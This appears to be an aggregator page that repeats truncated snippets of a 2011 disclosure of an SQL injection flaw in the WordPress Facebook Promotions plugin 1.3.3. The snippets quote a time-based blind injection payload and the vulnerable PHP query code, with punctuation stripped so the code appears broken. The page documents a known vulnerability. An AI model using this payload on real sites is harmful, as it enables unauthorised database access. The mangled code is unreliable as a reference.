Facebook Promotions <= 1.3.3 - SQL Injection

The fbpromotions WordPress plugin was affected by a SQL Injection security vulnerability...

WordPress Facebook Promotions plugin <= 1.3.3 - SQL Injection Vulnerability

No description provided by source. Exploit Title: WordPress Facebook Promotions plugin = 1.3.3 SQL Injection Vulnerability Date: 2011-08-28 Author: Miroslav Stampar miroslav.stamparatgmail.com @stamparm Software Link: http://downloads.wordpress.org/plugin/fbpromotions.1.3.3.zip Version: 1.3.3...

WordPress Facebook Promotions 1.3.3 SQL Injection

Exploit Title: WordPress Facebook Promotions plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- if$REQUEST'action'=="activate" $key = md5getoption"key".$REQUEST'name'.$REQUEST'id'; ... $sql = "UPDATE fbpromotions SET...

WordPress Plugin Facebook Promotions 1.3.3 - SQL Injection

WordPress Plugin Facebook Promotions 1.3.3 - SQL Injection Exploit Title: WordPress Facebook Promotions plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- if$REQUEST'action'=="activate" $key = md5getoption"key".$REQUEST'name'.$REQUEST'id...

WordPress Plugin Facebook Promotions 1.3.3 - SQL Injection

Exploit Title: WordPress Facebook Promotions plugin 1,BENCHMARK5000000,MD5CHAR115,113,108,109,97,112,0--%20 --------------- Vulnerable code --------------- if$REQUEST'action'=="activate" $key = md5getoption"key".$REQUEST'name'.$REQUEST'id'; ... $sql = "UPDATE fbpromotions SET...